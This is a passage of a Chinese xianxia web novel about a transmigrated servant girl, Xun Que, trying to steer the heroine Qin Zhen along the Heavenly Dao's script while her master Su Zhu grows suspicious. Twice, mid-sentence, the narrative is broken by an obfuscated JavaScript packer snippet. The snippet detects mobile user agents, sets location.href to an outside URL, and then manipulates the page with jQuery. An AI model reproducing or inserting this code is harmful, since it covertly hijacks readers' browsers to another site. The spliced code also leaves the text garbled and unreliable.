她恢复了点活力,叽叽喳喳的跟秦蓁说她这几日的修炼如何如何,秦蓁静静听着,温柔看着她笑,她一恍惚,仿佛回到了从前在凡人界的日子。 这时,窗边又有些窸窸窣窣的声音,旬鹊转头,看见一个剑眉英挺,风骨俊逸的男子。他整个上半身都趴进了窗户里,露出挂在腰间的玉牌。 男子手臂支在窗沿上,笑得十分肆意:“小师妹,你这里有人啊。把她赶走,跟师兄去清心池一趟?” 旬鹊震惊于这人的无礼,但听人这话,又好似和秦蓁很熟悉一样,她偷眼去看秦蓁,秦蓁皱着眉头,冷冷的说:“从我师兄身体里滚出去。” 话音刚落,那人大笑起来,气势张狂邪妄。旬鹊这才明白方才一眼觉得这人气质古怪的原因——心魔缠身。 本是正气凛然的面貌,一举一动却带着不羁的邪气。 秦蓁突然起身,走到窗边。旬鹊瞳孔一缩,女主不会被那心魔蛊惑了吧...... 她急急站起:“阿蓁......” 却见秦蓁伸手,往男子腰间探去——然后一把扯下玉牌,抬手用力砸在他脸上。 玉牌滑下掉到地面,发出脆响。 旬鹊目瞪口呆:哇哦,女主你现在真的很有后期那股看谁不爽就灭了谁的味儿。 那人身上煞气顿升,眼底的杀气也几乎掩盖不住:“小师妹,你找死吗?” 秦蓁叹气:“你还是放弃我师兄的身体吧,他正直得有点呆,不适合你。” 听见这话,那人又笑了,话语缱绻:“你陪我去清心池,我便放了你师兄,如何?” 秦蓁惊讶:“原来你是想要附身我啊,可我是个凡人啊。” “凡人?”那人笑容僵在脸上,不可置信:“不可能!你的命线都是断......” “许、翊、之。” 苏逐的声音从屋外传来,下一瞬趴在窗边的许翊之便消失不见,秦蓁赶紧打开屋门,苏逐指尖灵力凝聚,脸色难看。 看见秦蓁,他脸色好了一点:“抱歉,惊扰到你,是我错估了你师兄这次心魔附体的程度。” 秦蓁摇头,许翊之的话让她摸到一些细碎的线索,总觉得很多事非明面上那般简单。但她没问苏逐什么,只说:“师兄快些好起来便好。师父,小鹊在我屋里。” “我已把阵法打入他体内,往后不会再有今日这般......”苏逐没能说下去,摆摆手:“我将他束缚在清心池了,让他在里面诛灭心魔。喊小鹊出来前院吧,我不合适进你屋里。” 秦蓁扬唇,回头笑:“小鹊,我们出去,师父来了,给你驱除寒气。” 旬鹊回过神,愣愣应声,由着秦蓁牵着她出了屋舍。 许翊之。原来这个人是许翊之。 这个人旬鹊是知道的,魂隐宗上任掌门的独子,可他不应该很早之前就死了吗? 这人干的事也算轰动一时。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116412|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他与几位表兄共同去秘境历练,设计让身边人葬身秘境,没想到一位姓楚的旁支侥幸逃脱,揭发了他的恶举,对峙时他暴露了心魔,逃亡中甚至杀害了自己父母,魂隐宗掌门身死,能者上位,新任掌门能力了得,以极快的速度带领魂隐宗从中上层宗门挤进最顶尖那一批,而后追杀悬赏许翊之。 旬鹊记得,这人死相十分惨烈,她接收剧情的时候都有些不适,对这段印象深刻,也记得天道剧本里的那句:天道昭昭,报应不爽,极恶极妄之人,尸骨无存。 这人竟还活着,天道剧本岂止是出问题了,简直是崩得只剩妖魔鬼怪了,看来往后有些情节还得她努力往剧本上拉一拉才行,还要提醒女主小心这人...... 旬鹊想起刚刚许翊之跟秦蓁说的那些话,脸色一黑:呸!个破心魔还想附身我家女主!等我找个机会把修为升高亲自灭了你! “小鹊,我打一点灵力进入你体内,布个小阵法,能帮你避开坐忘峰上的寒气。”苏逐的声音传来。 旬鹊听见能避开寒气,下意识点了点头,一瞬后她才猛然反应过来,但苏逐已经朝她眉心虚空一点。 两人皆是脸色一变。 苏逐眼神一凝,庞大浩瀚的灵力直直冲入她识海,旬鹊努力压下本能的反抗,抑制住自己的颤抖,忍受如万钧雷霆般的灵力碾过自己全身经脉。 她仰起头,面露疑惑:“好了吗?苏长老。” 苏逐收回手,磅礴如山海的灵力也随着他的动作收回,他语气不变:“好了。” 旬鹊感觉到自己眉心有一个小阵法,但她不敢去碰,恐怕那阵法现在已经不是单纯避开寒气的小阵法了。 但苏逐应该只是对她起疑,还不能确定她是什么人。 她努力露出最灿烂的笑容,喊秦蓁:“阿蓁姐姐!真的不冷了!” 再转头,似毫无所觉般对苏逐说:“多谢苏长老!”接着缠着秦蓁又叽叽喳喳起来。 苏逐看着她们聊了会儿,便借口离开,旬鹊心下一沉。 怕是调查她的来历去了。 旬鹊想,待在秦蓁身边,确实自己太放松了,看见女主就安心了,这是坏事,得改。 还好她虽然心眼子没别人多,但忍耐力却极强,能忍着全身经脉剧痛,装得若无其事。 大概这是天道选她做任务者的原因之一吧,打工人嘛,最重要的不是会谋划,而是能忍,能面不改色的忍。 想起之前一些小世界遇到的奇葩主角,她都能装瞎装傻助他们飞升,苏逐想用修为逼她做出本能的抵抗反应,还是想得简单了些,那就应该还没发现她身上的那丝天道气息。 但她也清楚了,苏逐的实力。 很强,比她巅峰时期还要强上太多,心境也高得她探不出来,像一个真正融入大道无情的人。 这样的人,竟然还没飞升。 * 秦蓁送走旬鹊,已经到晚上了。 旬鹊不知怎么了,拉着她说了很多“一定要好好修炼”“许翊之看着就不像个好人”“阿蓁姐姐不要相信任何人”“苏长老实力似乎比肖掌门强很多”之类的话,她一一应下,旬鹊才恢复笑闹,说了许多她修炼的事。 小鹊那般怕冷,今日上山时肯定冻坏了。 不过,原来自己不惧坐忘峰的寒气,是因为师父之前诊脉时就给自己渡过一点灵力。 秦蓁从前院散步散到自己屋门前,正想开门进屋,忽然感觉有微风拂过她面颊,带过一点淡淡的金盏花香。 坐忘峰常年积雪,只有雪松遍山。 秦蓁回头,看见前院空地不远处,一位身穿浅蓝色广袖衣袍的女子。 花容月貌,似妖似仙。 那人朝她笑:“小师妹,我是师姐,柳清沂。” 8. 跟师姐唠嗑了一晚上 苏逐轻缓的声音响起时,秦蓁还在睡梦之中。 她迷迷糊糊听见有道温柔低沉的声音在唤自己,语调平和,似在耳边划过,由于太近,有些微震,她呼吸一促,感觉有什么抚过自己鼻尖,睁开眼,发现是自己的发丝。 秦蓁坐起来,一身薄汗,轻喘着气——又梦到那些人了。 父皇、母后、秦奕、秦池玉,甚至还有八岁时的秦胥晏。他拽着她哭着喊皇姐,问他的母妃怎么不见了。 那时她刚被禁足,秦胥晏带着人风风火火的闯进来,她以为三皇弟是来给她补生辰礼物的——那是他们在上一年生辰说好的。没想到他拽着她尖声质问。 她不知所措,是旬鹊冲过来把她拉到身后。她恍惚着看他们吵,最后那些婢女侍卫见两人扭打起来,才一拥而上将他们分开。 “……蓁蓁?” 秦蓁的视线聚焦,枕边玉牌亮着微光,是苏逐在唤她。 “师父……”她开口应声,过了一会儿玉牌才传出苏逐轻轻的声音:“刚刚睡醒吗?去洗漱一下来前院吧,今日可以开始修习了。” 听见这话,秦蓁才真正清醒过来——她要开始修行了,她终于能开始修行了。 她吸口气,轻快的应了声好,起身穿衣洗漱。 * 苏逐看着手中的玉牌,秦蓁带着一点点鼻音、一丝丝低哑的清透声音响彻在他耳边,不自觉的缠人。 他沉默一会儿,才放轻声音问她是不是刚醒,嘱咐她洗漱后来前院找他。 苏逐垂眼,不知在想些什么。 过了会儿,秦蓁的房门打开,苏逐侧眼看她匆匆小跑过来,发丝飞舞,笑容灵动,喊他:“师父!” 他笑:“蓁蓁。” 秦蓁在他面前停下,双眼明亮:“师父,我能修行了吗?” “昨日的药已将你伤后的身体调理好了,可以正式修行了,只是你……”苏逐看着秦蓁有些苍白的脸:“昨夜没休息好吗?” 秦蓁一愣,笑道:“昨晚师姐出关了,我与她聊了一会儿,睡得有些迟,不碍事。” 其实,不是聊了一会儿,是聊了小半晚,师姐实在……太多话了。 但她很喜欢师姐。 师姐宽厚温柔,又十分有趣,她与师姐相处起来,感觉她真同长姐一般。 她从未有过这样的体验。儿时她骄纵,很多人都怕她这个身份,后来被剥夺了骄纵的权力,那些人又疏远她,她被推着行走,没人与她说过:“以后不开心了,可以同师姐说。” “不过……师姐昨晚说,她要去把师兄揍一顿……”秦蓁突然想起这件事,担心师姐真和师兄打起来,想问师父要不要拦一下。 “揍得好。”苏逐很是赞同。 秦蓁:……师兄你平日到底都做了什么! “莫管他们了。这套心法你收起,记熟后运转心诀打坐修炼。”苏逐从储物戒中拿出一个竹筒,递给秦蓁。 秦蓁接过,打开,仅有五个大字——无相无极诀。 下一瞬,却见百字心诀跃然纸上,耳边各种细微声响皆在此刻消失,回归天地初始的静寂。 秦蓁不自觉在心中默念心诀,一字一句,她静坐在石凳上,如入无人之境。 苏逐心想,果然。 无形无相,无相无极,天地大道,悉皆归之。 修习无相无极诀,第一个门槛便是飞升期,未到飞升期的人,打不开这个竹筒,而飞升期的人,若是心境不够,亦只能看见那五个大字。 一出生,命线便是断的人,果然,不太可能是天道选的气运之子。 而是从前做了什么大逆不道、违抗天命之事,被天道强行扼杀之人。 气运之子,虽是天之骄子,但也是从弱小开始一步步走向巅峰的,与其他人的命线并无不同。 而被天道强行扼杀,是彻底抹掉这个人存在的痕迹,哪怕那人用了什么秘法保下残魂,也应该没有命线才对。 可秦蓁有命线,他能看到她命线断开的结点,正是她出生之时。按理说,有线才能有断,那秦蓁出生前,必然有命线,可他却看不到也算不出。 或可能是……重生之人? 苏逐叹息。 线索太少了,他无法判断。 只希望她能一心向道,早日飞升,莫要做出错误的选择吧。 苏逐微微抬头,乾坤之间,无极之地。 那掌控万物的天道,凭什么觉得万物都该随其而动呢? 飞升啊。苏逐垂下眼。 无聊至极。 * 秦蓁睁眼,看见自己还握着的竹筒,上书“无相无极诀”五个大字,心中明悟,她的五感似乎都清晰了许多,体内灵力涌动,游走经脉之间。 “凝神,炼气,筑基,你已入筑基,是真正踏入修炼路了。”苏逐说。 这就……筑基了? 秦蓁有些迷茫,自己不过运转了师父给的心诀,便能跨三个境界…… “是因为……我母亲的血吗?” 肖拭云,天生仙体。这话她听了许多遍。 “不。” 苏逐对上她的眼睛,认真的说:“是因为你曾经,一定付出过千万倍的血泪。” 秦蓁一怔,失笑。她从前哪里懂什么修行之法。 她没在意,只以为苏逐觉察了她的那点低落,在安慰她。 毕竟这几日相处给她的感觉……师父就是这么一个为人处世周全的,温和的人。 “筑基之后,便是结金丹、元婴,而后化神、渡劫、合道、飞升。” “此处飞升,仅是境界,真正的飞升,还需悟道。若在飞升期的百年内悟不出,修为便会渐渐消散,最后陨落。” “所以修行,亦是修心。蓁蓁,想清楚你的道是什么,你为何修炼。” 秦蓁神情茫然了片刻,说:“我想变强。” 苏逐却摇头:“这是你要做的事,不是原因。” “你为什么想变强,你强大起来后想做什么,才是你修炼的原因。” 秦蓁答不出来。 或许曾经,她想出宫学武,是想摆脱她的身份,亦想摆脱自己求而不得、舍而不能的亲情。 但父皇母后皆死,她甚至也因他们生出过死意,她觉得,这些已经不能成为支撑她踏上修炼路的理由了。 那是为了什么呢?她想变强,似乎只是想变强,毕竟有实力,才能立身。 “不必现在回答。”苏逐摸摸她的头:“今日你先回屋打坐修炼,运转心诀领悟灵力的收放聚散,明日我再教你剑法。” 秦蓁刚要说好,突然听见“砰”的一声,她和苏逐齐齐转头,正好看见柳清沂慢悠悠收剑回鞘,面前正是被她揍趴下的许翊之。 柳清沂绕过许翊之,欢欢喜喜走来:“师父,小师妹,我将师弟揍了一顿,给师父小师妹出气。” 许翊之苦笑着从地上爬起来,行礼:“师父,小师妹,前两日万分抱歉,我心境不够,让心魔钻了空子,做出许多无礼之举。师姐揍得好。” 接着他从储物戒中拿出一个挂坠,递给秦蓁:“这是我从某个秘境中得来的传承秘宝,能抵挡并打出一次飞升期的全力一击。” 秦蓁刚想摆手,许翊之却先一步说:“小师妹收下吧,我四处闯秘境也算家底丰厚,还有很多保命法宝。” 苏逐也开口:“蓁蓁,你收下,你师兄的心魔没那么简单,日后他肯定还要天天去秘境找死的,濒死之时心境极易动荡,那心魔有飞升期修为,若我跟你师姐不在,你有这个也能对付他。” 秦蓁于是道谢收下。 接着她又 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许翊之倒是没什么意见,他伤重,五脏六腑都还疼得厉害,是还需修养,他虽爱闯秘境,但也不是真的找死,在伤未好前就咋咋呼呼去闯。 他对秦蓁再次拱手道歉:“小师妹,前两日实在抱歉,往后有事尽管找师兄。”再对苏逐和柳清沂说:“师父,师姐,翊之先去修炼养伤了。” 待苏逐点头,他才回了自己屋子。 “宗门公子,就是规矩多。一板一眼的。”柳清沂说:“师父,小师妹,我去日月峰找肖掌门商讨秘境事宜。” 柳清沂走后,秦蓁问:“师父,师姐和师兄,修为是何境界?” 师兄作风和前两日完全不像一个人,这便是心魔的威力吗…… “你师姐已至飞升境,只是……她心中有坎,未能悟道,你师兄在渡劫期,但他天赋差,根骨……不似别人修炼那么容易。”苏逐说。 秦蓁听了,眼中升起斗志:“我也会快快修习,与你们并肩。” 苏逐看着秦蓁澄澈的双眼,说好。 * 秦蓁打坐修炼了一天,修为已经巩固好了,心绪却涌动。 她一直在想着白日里苏逐问他的那句:你为何修炼。 为何想修炼,为何想变强,变强后是想做什么。 她只知道她想修炼,想变强,却没细细想过她究竟是为了什么。 从前她或许是想要自由,想要痛快的活。 也可能是出宫游玩时不忍看着百姓过得那般苦,想像话本里的江湖大侠一般,能给予他人一些帮助,让善有善报,恶有恶报。 可那时她能做的仅是自保,甚至连这自保都需算计他人,她感受到自己的弱小,所以想变强。 但她没想过,若是她强大起来,她会用她的力量去做什么。 护好家国百姓吗?拯救天下所有苦难的人吗? 这愿景似乎很大,但也很空洞,这世间苦难的角落太多,她再强大,也很难将这个愿景完满。 济世情怀许多人都有,但是一瞬还是长久,天差地别。 所以她很敬佩那些救人救世的英雄。 无论是救一个人,还是千千万万人,她也想成为有能力去救他人的人。 而她,又为什么不能成为那样的人呢? 秦蓁想,或许现在的自己,还无法给出“你的道是什么”这个问题的答案,但她会坚定的走她要走的每一步。 想变强,便努力修炼变强,想护什么人,便努力护住什么人。 至少,能从她身边开始,护好对她来说重要之人,最不济,也要能先自己护好自己。 她心中有个模糊的答案,但她现在还不够强大,没有足够的力量支撑她去喊出心中所想。 但,一步一步,总会有证道那天。 9. 剧本崩了 今天是旬鹊去学塾的第二天,她还记得在某个小世界有首歌:“太阳当空照~花儿对我笑~” 她看着日月峰的晴空与春花,心情很好。 因为肖涧川跟她说,五日后有个秘境开启,他选了一批弟子让他们出去历练,秦蓁和她也跟着去。 这个秘境,便是女主踏上修炼路的第一个情节点。 天道剧本嘛,懂得都懂,这种看似普通的小秘境,只要女主一去,那一定就会危机四伏,哪怕秘境很安全,也会有不知道哪来的炮灰反派跳出来,莫名其妙就跟女主杠上了要阴她,接着女主先陷入困境,再破除困境,提升境界。 或者是女主还很弱小无法自己破开困境,但有男配123号阴差阳错发现被困的女主,救她出来,然后走一波感情线。 不过她记得,天道剧本里的秦蓁到最后飞升也没有道侣,她每次拒绝人都是一个理由:“抱歉,你的道与我的道不同,我为苍生,不为你。”留那些123不知道多少号男配心碎一地。 旬鹊“啧”一声。 后期的女主太高冷了,不像小时候,活泼爱闹,自以为是个小霸王,其实像个小太阳。 旬鹊唇角一勾,她还是喜欢小时候的秦蓁。 不过嘛,剧本里女主一直都是一个人高高在上,有人簇拥追随她,却没有能与她并肩走的同伴,清冷些倒也正常。 但现在有我呀! 旬鹊开心的哼着不成调的歌,想,反正天道管不着女主什么性格,她多陪陪她,让她不至于像个大冰块一样,最好能保持一点小时候的孩子心性,简单快乐。 等女主修为到飞升期了要失去一切,这个也很好解决嘛,其他的天道剧本都安排好了,而她死遁一下就行了,秦蓁的性格底色还是很重情的,自己陪她一路长大,她一死,秦蓁估计马上就能看破红尘悟道飞升啦! 不成调的曲子没了声音,旬鹊停下脚步。 只是失去一切的过程十分熬人。 旬鹊脑中浮现秦蓁的脸。 她……会很痛苦吧。 毕竟之前她那皇帝老爹只是不再装作宠爱她,都让她哭成那样。 失去一切啊…… 但是、但是也是为了得道飞升呀。天降大任,她是天选女主嘛,失去一切是看破红尘最快捷的一条路。 只是任何路……其实都应该自己走。 旬鹊吸气呼气,御剑朝学塾飞去。 想那么多干什么。 她又不能做什么。 赶紧去学塾走剧情才是正事,昨天她第一天去学塾,结果发现秦蓁没来,下学后她问了肖涧川才得知苏逐说要亲自带秦蓁修行,给她气得牙痒痒。 女主不来,学塾的剧情线肯定走不了啊!可这条线有个很重要的反派boss,必须得走的,不然后面有些剧情没法推动。 但苏逐……打又打不过,被他发现什么大概率自己就要凉凉,旬鹊真是一怒之下怒了很多下。 只能自己客串一下女主的戏份,去拉学塾反派boss的仇恨了。 她叹气,自己真是太敬业了,这个boss还是个随机刷新的旷课大王,她得每天去学塾蹲点,boss刷了她就得抓住机会拎着剧本上去碰瓷。 掌门大叔还要求自己每天下学后去他那里,他要考校功课。早知道肖涧川对徒弟那么负责,她就不拜他了,不过当时拜肖涧川也是因为剧本里女主要拜他,结果女主被截胡了,她在肖涧川面前演的什么主仆情深啊她要拼命修炼摆脱命运啊,最后都成了砸自己脚的石头。 旬鹊唉声叹气,这一团乱的剧情啊。 于是旬鹊下学后去到肖涧川那里,看见柳清沂,并且她在和肖涧川友好交流时,差点吐出一口老血。 她十分怀疑天道是不是给她传错了剧本。 除了女主前十五年的人生,有哪个剧情是对得上的啊! “小鹊下学回来了。来,你也听听,我在和柳长老商讨秘境事宜。”肖涧川招手,示意她过去。 旬鹊干笑两声,慢吞吞挪了过去。 “旬鹊?你就是蓁蓁的朋友吧?”柳清沂也看向她:“昨日我回去得早,你应该还没下学,没见到你。” 旬鹊天都要塌了,昨日这大魔头就来过了?所以,柳清沂真的就在坐忘峰上,还跟女主碰上了? 她只得笑笑:“柳长老好,我是阿蓁姐姐从前的小侍女。” 柳清沂也笑,眸如秋水:“来,送你个东西。”她从储物戒中拿出一条火红色的手链,说:“蓁蓁说你小时候被冻伤过,很畏寒,这个对你有点好处。” 旬鹊迟疑几秒,伸手接过。 她跟秦蓁瞎编乱造的身世中,她是被姐姐在大冬天遗弃的,她说,她差点冻死在那个冬天。 “自己好戴吗?我给你戴上吧?”柳清沂伸手,将手链链扣打开,再绕过她的手腕,将链扣扣上。 火红的手链,戴上后颜色更亮,是温热的。 “……谢谢。”旬鹊说。 柳清沂依旧在笑:“我听肖掌门说,你天赋根骨都很好,一日便学会了御剑,很厉害啊,往后好好修炼,悟道飞升不在话下。” “肖掌门,商讨的也差不多了,我就不打扰你教悉弟子了。”柳清沂对着肖涧川拱手,又转头看向旬鹊,笑得很明艳:“我的小师妹今日要开始练剑了,我去看看,小鹊功课做完了也可以多来看你的阿蓁姐姐,你们两个小妹妹我都很喜欢。” 旬鹊听到这话,终于醒悟过来——这该死的糖衣炮弹! 柳清沂可是个大魔头啊!一个究极妹控,她的一生都在为救她死去的妹妹奔波,为此做的一些事堪称不择手段,这般好心怕也是因为思念妹妹的爱屋及乌。 别想乱七八糟的了!好好给天道打工把剧情拉回来才是正事! “师父,您要不要也去看看阿蓁姐姐呀?我记得您之前说,要给阿蓁姐姐取字。” 旬鹊现在是想将所有偏离的剧情都拉回来了,剧本崩得太厉害,她不敢任其发展了。 但肖涧川摇了摇头:“还是不了……待她长大,随她自己心意,自己取吧。”他虽然很希望能与秦蓁相认,但秦蓁对过去和亲情,似乎很抵触。想起她刚醒就跑去跳崖,肖涧川叹气:“我只希望她能好好的,其他便罢了。” 旬鹊沉默,她也想秦蓁好好的,所以才要把剧情拉回来,助她悟道飞升。 * 柳清沂回到坐忘峰时,秦蓁刚好使完一套剑法,正将小木剑放下。 秦蓁很讶异,师父所教一招一式,她看一遍便能记住,自己练一遍便似已练剑多年的剑术大家,挥剑的弧度、力道,分毫不差。 这是……因为她母亲天生仙体的血缘关系吗? 秦蓁不懂平常人修仙是怎样的,但她这也……太顺了些,若是从来都这般顺利,悟道途中真的不会浮云遮望眼吗? 她问出了自己的疑惑,苏逐说:“那便继续练剑。练到完美了也练,不停的练。拿起剑,便不会想其他。” 秦蓁醒悟:“若是剑练好了往后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116414|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便放松,甚至不练剑了,才会耽误修行,但我练好了也一直练,便不会如此。” 苏逐笑起来,眼里流光细碎,说是。 柳清沂目瞪口呆:“……剑、剑修。”见秦蓁看向她目露疑惑,还是把那句“不愧是剑修”咽下肚子里。 她自己也是个剑修,这话很有些骂自己的意思。 她将自己的莲唳剑招出,说:“小师妹,我们对练。” 秦蓁应声,下一瞬柳清沂一剑直刺而来,秦蓁偏锋侧进,格开她的剑,而后借力挥剑横扫,被柳清沂迅速自上劈下,她便往上一挑,带出凛冽剑风,直扑柳清沂面门。 柳清沂惊讶于秦蓁的反应,随机应变能力强得像在切磋和实战中挥剑千万次,她手下加力,专心与秦蓁过招。 苏逐看着她们切磋,若有所思。 秦蓁的招法,很有点与刀法结合的味道,但他方才仅教了她几套剑法,也从未在她面前用过刀。 苏逐几乎可以确定,秦蓁是某个用秘法重生的大能,只是不知出了什么差错,丢失了记忆,但她对心诀的领悟和拿起剑的临阵反应,都是骗不了人的。 只是,她的一招一式……很像从前的自己。 从前那个,道心未碎,使刀,而非使剑的自己。 可他的记忆中,从未有这样一个人。 他心下叹气,怕不仅仅是重生那般简单。 但他这几日观察,秦蓁性子善良坚韧,心也澄澈,亦不像是做了极恶之事被天道扼杀之人。 他抬手,虚空画了一个阵法,在秦蓁专心与柳清沂过招时,无知无觉打入她体内。 跳脱天道法则,必定代价惨重,她失了记忆,大概也不懂得掩饰身上那丝不被天道束缚的气息,日后境界提升招来天雷,恐怕天道就会发现她。 他传音与柳清沂:“清沂,往后你小师妹若是境界突破在即,你出手压制一下,尽量让她回坐忘峰再升境界。” “我将她的雷劫引到自己身上了。” 柳清沂惊讶万分,一个错愕,差点被秦蓁将剑打飞,她反手格挡,聚起灵力,止住了秦蓁的攻势:“今日先到这,小师妹剑法悟得真好。” 秦蓁还有些意犹未尽,她跟着师父学剑招时还只是感觉自己用剑很熟练,而真正切磋起来,她却好似已经成为了自己手中剑,剑随心动,不过百招,剑意便出来了。 她喜欢练剑。 剑是她的武器,更是她的意念。 “多谢师姐教导,我再去练一会儿。”秦蓁拱手,去旁边空地练起苏逐教她的剑法,一招一式,皆比方才更加凌厉,带着初成的剑意,气势如虹。 柳清沂看了一会儿,走到石桌前,坐到苏逐对面的石凳上,问:“师父,小师妹她也是像我一样……被这个破天道捧上去又扔下来的人吗?” 苏逐摇头:“我还无法确定,她的命数与你从前确实很像,但有些地方又很古怪。” 柳清沂听了这话面色也凝重起来。 “天道很大可能已经发觉了她的存在,但还无法确定,便同曾经对付你一样……她身边也有一个天道派来的人。” 柳清沂皱眉,真是熟悉的情节啊,她到现在都记得,被从前的道侣背叛时的感觉。 天道派那人潜在她身边,获取她的信任与感情,然后一步步把她推进深渊,让她失去所有。 但小师妹年纪这般小,尚未有道侣,身边也没有血缘亲人,那会是…… “谁?”柳清沂问。 “旬鹊。” 10. 二话不说就揍人 “你们听说了吗?这次去秘境是柳师姐带队!” “听说了听说了!终于又能见到柳师姐了!” “好期待啊,柳师姐上一次带队秘境是好几年前了吧!” “是呀是呀,那次我师兄就在队里……” 日月峰广场上,要去秘境历练的弟子们正在集结,趁着掌门长老还没来,几位小弟子聊起天来。 “柳清沂带队有什么好的!她可是屠了好几个凡人村庄的魔头!指不定一个不高兴就杀人了!小心点自己的命!” 一声嗤笑和尖锐的话语打断了那几个在兴奋讨论的小弟子,一位长相妖艳的男子走出来,继续嘲讽道:“她可是被另外四大宗门的长老一同押来道源宫的,是来思过的!” “你放屁!”一位可爱的圆脸小女孩跳出来,叉着腰:“我爹爹当年可是在现场的!明明是四大宗门杀了柳长老的亲妹妹,害得柳长老生出心魔才开杀戒的,而且那片村庄的凡人拐小孩!本来也不是什么好人!” “那也该他们凡人自己管,我们身为修仙人不可滥杀凡人,再说你怎么知道其中一个无辜者都没有?柳清沂就是个对凡人开杀戒的大魔头!”男子冷笑,妖艳的脸上尽是不屑。 “你!你,你胡说!柳长老才不是!我之前从树上差点摔下来,柳长老还救过我呢!”小女孩睁着圆圆的眼瞪他。 “切~黄毛丫头,你知道什么,柳清沂那可不是好心救你,她是睹物思人想起她妹妹了!小心哪天把你们这些半大的小丫头抓了关屋里……啧啧。”妖艳男子笑得古怪,目光上下打量刚刚在讨论柳清沂的几个小弟子。 几人年纪虽小,但也明了他那目光的含义,几张小脸气得通红,方才说过话的圆脸小女孩更是气极,提起剑就要朝那男子劈下,却被那人轻易捏住剑尖:“我可不跟你们道源宫的弟子计较,别的宗门都派金丹期弟子出来历练,你们道源宫这次参加秘境的弟子却全是筑基期,真不知道肖涧川怎么想的,不会是太多年没参与宗门秘境,还以为各宗门实力都在原地踏步吧?” 这话一出口便引了众怒,方才几位小弟子纷纷提起自己的剑,骂骂咧咧就要冲上去揍他。 男子抬手扔了个秘宝支起结界:“我是浮花坞的少当家严焰,怎么,你们道源宫是想挑衅我们浮花坞吗?”说罢抱臂站在那里,艳丽的脸上笑容诡异。 几位小弟子听见浮花坞的名号便不动了,气呼呼收剑。浮花坞的人游走正邪之间,最爱玩阴的,尽量别去招惹浮花坞的人已经成了各宗门的共识。 但这人侮辱道源宫,这口气实在难咽。圆脸小女孩心中岔岔:要是来个厉害点的管事师兄师姐就好了,就能揍这人了…… “啊——”严焰突然尖叫,整个人飞出十几尺远,跌坐在地上,吐了口血出来。 几个小弟子震惊的看向来人,一个面色带雪,恍若仙人的女子,身穿白衣,黑发如瀑,她拿着一柄小木剑,没什么表情的望着她们说:“我来找人,你们认识一个叫旬鹊的女孩吗?” 几个小弟子还没回过神,结结巴巴半天说不出话,还是那个圆脸小女孩闪着兴奋的目光说:“认识认识!前几天新来学塾的小师妹!是肖掌门的徒弟对吧!我刚刚还看到她了……” 话未完,一个清脆的声音响起:“阿蓁姐姐!” 接着秦蓁就被冲过来的旬鹊扑了个满怀,她伸手摸摸旬鹊的头,说:“一会儿我们一起进秘境。” 旬鹊感动得要哭了——女主啊!你终于走了第一个剧情啊! 天道剧本里也有这么一段,浮花坞少当家严焰出言不逊,女主看不惯他侮辱道源宫,一剑打飞了他。 可最近剧本崩得厉害,这种必须女主做的剧情她很有些摆烂了,万万没想到秦蓁突然出现把严焰打飞,完美的跟着剧本走了一次,让她看到了一丝还能抢救一下的希望,她都要老泪纵横了。 “你是道源宫哪个峰的弟子!竟敢对我出手!”严焰终于从身体的剧痛中缓过来,吃了个丹药站起,怒气冲冲走来。 秦蓁回头,语气平淡:“你出言辱我道源宫,我还你一剑而已。” 却没想到严焰看见她转头,脸上那愤怒的表情瞬间变得怔然,直愣愣盯着她。 秦蓁皱眉不解,这人不会要碰瓷她吧? 于是她补了句:“我打出的那剑并无太多灵力,仅是将你打飞,你吐血应是身体有旧疾,还是早日回自己宗门养伤吧。” 严焰终于反应过来,红晕慢慢爬上他那张妖艳的脸,结结巴巴应声。 秦蓁虽觉得奇怪,但这人侮辱道源宫在先,自己也打了他一剑,如今对方这般模样,倒也不像还要找茬的样子,便没说什么。 息事宁人也好。 安抚了那几位小弟子几句,她便带着旬鹊走了。 旬鹊撇撇嘴,她手握剧本,倒是知道严焰怎么突然熄火了,因为他——是个颜控。由于他自己天生长了张妖艳勾人的脸,便看所有长相艳丽的人不爽得很——比如柳清沂,但对那种清清冷冷的冰美人却是喜欢得不得了,秦蓁这张脸配上白衣,气质更加出尘,恐怕把严焰迷得脑袋都晕了。 她不爽道:“阿蓁姐姐,我看那个人长得就不像什么好人,你往后见到他躲远点,他跟你说话也别理,揍他!” 秦蓁点头:“他对道源宫不敬,确实该揍。” 旬鹊满意了。 * “师姐,我带小鹊回来了,可以出发了。” 柳清沂应声,对旬鹊点了点头算作招呼,待秦蓁拉着旬鹊踏入阵法。 旬鹊现在有些怵坐忘峰这几个魔头,抓着秦蓁的手紧了紧,秦蓁轻拍了下,说:“师姐带队,我们一起传送过去,肖掌门在日月峰待其他师妹师弟们集结完再开传送阵过来。” 旬鹊只得说好。 掌门大叔根本没跟她说啊!说好的对徒弟管得严呢!这么大事也没跟她说啊! 这下只能老老实实跟着女主了,本来还想给女主拉点怪让她打打的。旬鹊叹气。 阵法启动,面前场景一变,四周吵杂起来。 “柳长老!您来了!恭喜出关,实力又精进了吧?” “柳长老来了,肖掌门和你们宗门弟子呢?” “柳长老,你身后这两位是新入门的弟子吧?怕是不认得我们?” 秦蓁在宫中听多了阿谀奉承的话,许多看似关心询问的话语往往带着另一重意思,眼前这些人各个面带笑容,可眼神却不善,不难看出虚情假意。 但现在的她,终于不用再去应付这些。 只是师姐会不会为难? 